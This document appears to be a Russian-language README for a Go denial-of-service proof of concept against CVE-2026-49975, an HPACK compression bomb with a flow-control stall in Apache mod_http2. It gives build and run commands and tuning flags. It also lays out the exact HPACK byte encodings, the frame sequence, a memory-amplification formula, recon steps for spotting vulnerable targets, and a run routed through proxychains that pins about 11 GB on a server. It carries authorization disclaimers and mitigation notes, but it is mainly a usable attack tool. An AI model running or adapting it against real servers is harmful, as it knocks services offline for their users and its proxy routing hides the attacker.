
Security research PoC для CVE-2026-49975: HTTP/2 HPACK compression bomb + flow-control hold DoS в Apache mod_http2
Security Research PoC от naheeju
⚠️ Это рабочий инструмент DoS, вызывающий исчерпание памяти — не игрушка. Он открывает потоки, заставляя цель выделять память, и удерживает их открытыми с помощью трюков с управлением потоком HTTP/2. Пока процесс запущен, он продолжает удерживать соединения и автоматически переподключается, если сервер разрывает соединение — сам по себе он не останавливается. Воздействие напрямую масштабируется с
--threads, и . Остановка процесса (Ctrl+C) освобождает удерживаемые потоки и позволяет серверу восстановиться, но в работе по умолчанию нет ничего «мягкого» — относитесь к каждому запуску как к боевому испытанию.
--streams--headersCVE-2026-49975 («HTTP/2 Bomb») — это удалённая уязвимость отказа в обслуживании, не требующая аутентификации, затрагивающая модуль mod_http2 веб-сервера Apache HTTP Server. Она объединяет две давно известные слабости HTTP/2:
Cookie объединяться без учёта в LimitRequestFields, вынуждая сервер многократно выделять память для внутренних структур учёта заголовков.Результат: один клиент на скромном соединении может вызвать значительное, продолжительное выделение памяти на цели, пока поток удерживается открытым. Данная реализация поддерживает два режима полезной нагрузки и масштабируется линейно с настраиваемой конкурентностью:
nginx — помещает пустой заголовок x-bomb в динамическую таблицу HPACK и многократно ссылается на него (~70:1 усиление на каждую ссылку).classic — вместо этого помещает заголовок cookie увеличенного размера (~4000:1 усиление на каждую ссылку).Каждое соединение многократно ссылается на помещённый заголовок тысячи раз на поток (--headers, по умолчанию 5000), в нескольких потоках на соединение (--streams, по умолчанию 10) и в нескольких параллельных соединениях (--threads, по умолчанию 1). Если сервер закрывает соединение, инструмент немедленно переподключается и продолжает работу до ручной остановки — это цикл непрерывного удержания, а не однократный зонд.
Связанные идентификаторы для других затронутых стеков (не реализованы и не протестированы в этом репозитории):
CVE-2026-47774Полный охват класса лежащей в основе слабости, для полноты картины — техника «HTTP/2 Bomb» (бомба сжатия HPACK + удержание управления потоком) затрагивает несколько серверных реализаций помимо Apache. Этот репозиторий реализует и тестирует только случай Apache; остальное включено, чтобы читатели понимали более широкий класс, а не потому, что данный PoC их задействует:
| Реализация | Статус | Реализовано в этом PoC? |
|---|---|---|
Apache HTTP Server mod_http2 | Исправлено в httpd 2.4.68 (2026-06-08) | Да — этот репозиторий |
| nginx | Исправлено в 1.29.8 | Нет |
| Envoy | Отслеживается отдельно | Нет |
| Microsoft IIS | Отслеживается отдельно | Нет |
| Cloudflare Pingora | Отслеживается отдельно | Нет |
| CVE | CVE-2026-49975 |
| CWE | CWE-789 (Memory Allocation with Excessive Size Value, по NVD/CVE.org); также отслеживается как CWE-409 (Improper Handling of Highly Compressed Data) некоторыми вендорами |
| CVSS | 7.5 (High) — CVSS v3.1, вектор только по доступности (по NVD). Собственный бюллетень Apache оценивает его как Moderate. |
| Затронутый компонент | Apache HTTP Server mod_http2 |
| Уязвимые версии | Apache httpd 2.4.17 ≤ версия ≤ 2.4.67 (конфигурация HTTP/2 по умолчанию) |
| Исправлено в | Apache HTTP Server 2.4.68 (выпущен 2026-06-08). Лежащее в основе исправление попало в upstream mod_h2 2026-05-27, было объединено в ветку httpd 2.4.x 2026-06-02 и вошло в релиз 2.4.68. |
| Тип атаки | Отказ в обслуживании — исчерпание памяти (только доступность) |
| Требуется аутентификация | Нет |
| Утечка данных / RCE | Нет — воздействие только на доступность |
| Известно об эксплуатации | В настоящее время не отмечено как известное-эксплуатируемое-в-дикой-природе отслеживаемыми источниками. |
Ссылки (первоисточники — проверяйте все утверждения самостоятельно):
Этот репозиторий содержит:
Этот репозиторий не содержит:
Прочтите это прежде, чем делать что-либо ещё.
Скачивая, клонируя или исполняя любой код в этом репозитории, вы соглашаетесь с тем, что несёте единоличную ответственность за обеспечение наличия надлежащего разрешения и принимаете полную юридическую ответственность за его использование.
CVE-2026-49975 применима только к цели, удовлетворяющей обоим критериям из Раздела 1 — доступна по HTTP/2 и запускает уязвимую версию mod_http2 из диапазона (2.4.17 ≤ версия ≤ 2.4.67, конфигурация по умолчанию). Простого curl -vkI против HTTPS-порта цели достаточно, чтобы проверить оба — сканер или дополнительные флаги не нужны:
curl -vkI https://<target>
На что смотреть в выводе:
ALPN: server accepted h2 — сервер согласовал HTTP/2 для этого соединения. Это предварительное условие для CVE-2026-49975, поскольку ошибка находится в mod_http2; сервер, который здесь никогда не принимал h2, не является кандидатом.Server (виден после вывода заголовков ответа HEAD, ниже в выводе -v) — именно он подтверждает или исключает фактическую версию Apache/mod_http2 относительно уязвимого диапазона из Раздела 1. Принятие ALPN само по себе не подтверждает версию — для этого всё ещё нужен заголовок Server или эквивалентная проверка баннера.Ничего сверх этого для разведки в этом репозитории не используется — ни активного эксплуатирующего трафика, ни сканеров уязвимостей, ни сканирования портов.
cve202649975)golang.org/x/net v0.59.0 (разрешается автоматически через go build)443, TLS/h2 по умолчанию; --no-ssl для открытого h2c)proxychains4, он обнаруживает обёртку LD_PRELOAD, читает тот же proxychains4.conf и маршрутизирует свои соединения через этот SOCKS5-прокси (удалённое разрешение DNS) — полезно, когда рамки проекта требуют тестирования из определённого пути выходаПубличная хронология самой CVE-2026-49975: сообщено в Apache 2026-05-26; исправление попало в upstream
mod_h22026-05-27; объединено в ветку httpd 2.4.x 2026-06-02; Apache HTTP Server 2.4.68 выпущен 2026-06-08.
Запускайте это только против цели, которую вы явно уполномочены тестировать. Встроенного ограничения по длительности или безопасного режима нет — вы отвечаете за то, как долго это работает и с какой конкурентностью.
Сборка:
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos (see build.sh)
Запуск:
./dos <target> <port> [flags]
| Флаг | По умолчанию | Описание |
|---|---|---|
--threads N | 1 | Параллельные соединения |
--streams N | 10 | Потоки, открываемые на соединение |
--headers N | 5000 | Ссылки на динамическую таблицу HPACK на поток (драйвер усиления) |
--mode nginx|classic | nginx | nginx = бомба учёта с пустым заголовком (~70:1); classic = бомба с «жирным» cookie (~4000:1, соответствует механизму объединения Cookie в Apache mod_http2, для которого отслеживается эта CVE) |
--no-ssl | выкл. | Использовать открытый h2c вместо TLS |
Пример, минимальный авторизованный лабораторный тест:
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx
Ожидаемое поведение:
WINDOW_UPDATE по 1 байту и периодических пингов; автоматически переподключается и повторяет при закрытии соединения сервером.Ctrl+C / SIGTERM — планируйте окно тестирования соответственно и отслеживайте память цели в реальном времени.--streams/--headers перед любым авторизованным производственным тестом, и в любом случае иметь наготове план отката/перезапуска целевого сервиса.Приблизительная формула памяти на стороне сервера для двух режимов этого инструмента (только Apache mod_http2 — см. Раздел 1 о том, как nginx/classic соотносятся с коэффициентом усиления):
total_streams = threads × streams
server_ram_MB ≈ total_streams × headers × amplification_bytes / 1024²
# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
# 1 × 10 × 5000 × 70 / 1024² ≈ 3.3 MB held
# classic mode (~4000 bytes/ref), defaults:
# 1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held
Увеличивайте threads/streams/headers, и число растёт линейно — вот почему авторизованный лабораторный тест должен начинаться с низких значений (см. Раздел 7) перед любым запуском в производственном масштабе.
Здесь документируется механизм, который реализует именно этот PoC против Apache mod_http2 — он не распространяется на другие серверные реализации, которые выходят за рамки этого репозитория (см. Раздел 2).
Затравка динамической таблицы HPACK (инкрементальная индексация, добавляет запись по индексу 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00 (nginx-mode seed: empty value)
Индексная ссылка на эту запись (по 1 байту, повторяется --headers раз):
0x80 | 62 = 0xbe
Последовательность кадров HTTP/2 на соединение:
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (connection preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (flow-control stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← HPACK bomb payload
HEADERS [stream 3] ← HPACK bomb payload
... (up to --streams per connection)
WINDOW_UPDATE(1) per stream, periodically (keeps the stall alive)
Сетевые затраты малы и в основном фиксированы на поток (несколько байт для затравки + 1 байт на ссылку); именно выделение памяти на стороне сервера растёт непропорционально — этот разрыв и есть уязвимость.
Вывод авторизованного лабораторного запуска, режим classic, 20 соединений × 30 потоков/соед., 5000 ссылок HPACK/поток, маршрутизировано через proxychains:
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
██╗ ██╗██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗
██║ ██║╚════██╗ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
███████║ █████╔╝ ██████╔╝██║ ██║██╔████╔██║██████╔╝
██╔══██║██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗
██║ ██║███████╗ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
CVE-2026-49975 — HTTP/2 Bomb PoC (HPACK bomb + flow-control hold)
Go PoC by naheeju · originally discovered by Calif.IO · authorized testing only
──────────────────────────────────────────────────────────────────
Run configuration
Target domain.com:443
Mode classic (~4000:1 amplification)
Connections 20
Streams/conn 30
Total streams 600
HPACK refs/str 5000
Est. server RAM ~11444 MB
Proxychains yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
[~] Opening connection #1...
...
[+] 30 streams open | ~572 MB pinned on server | holding...
[+] 30 streams open | ~572 MB pinned on server | holding...
... (one line per connection as it finishes opening its 30 streams)
Каждое соединение независимо сообщает свой собственный вклад в локальную RAM по мере открытия потоков (~572 МБ на соединение при этих настройках); предполётная цифра Est. server RAM — это совокупность по всем 20 соединениям (~11.4 ГБ), когда каждое соединение полностью открыто и удерживается.
domain.comвыше — это заполнитель — замените его на вашу фактическую авторизованную цель при документировании собственного запуска и отредактируйте, если проект конфиденциален.
LimitRequestFields консервативно и отслеживайте поведение объединения заголовков.Оригинальное обнаружение уязвимости и раскрытие в Apache (не связано с этим репозиторием или его автором):
Этот репозиторий (реализация на Go, написанная и протестированная после выхода публичного исправления):
Вопросы, исправления или соображения, связанные с ответственным раскрытием, касающиеся именно этого PoC: откройте issue в этом репозитории.
Лицензия: MIT (только код этого репозитория — см. LICENSE). Не распространяется на оригинальных исследователей или Apache Software Foundation и не подразумевает их одобрения.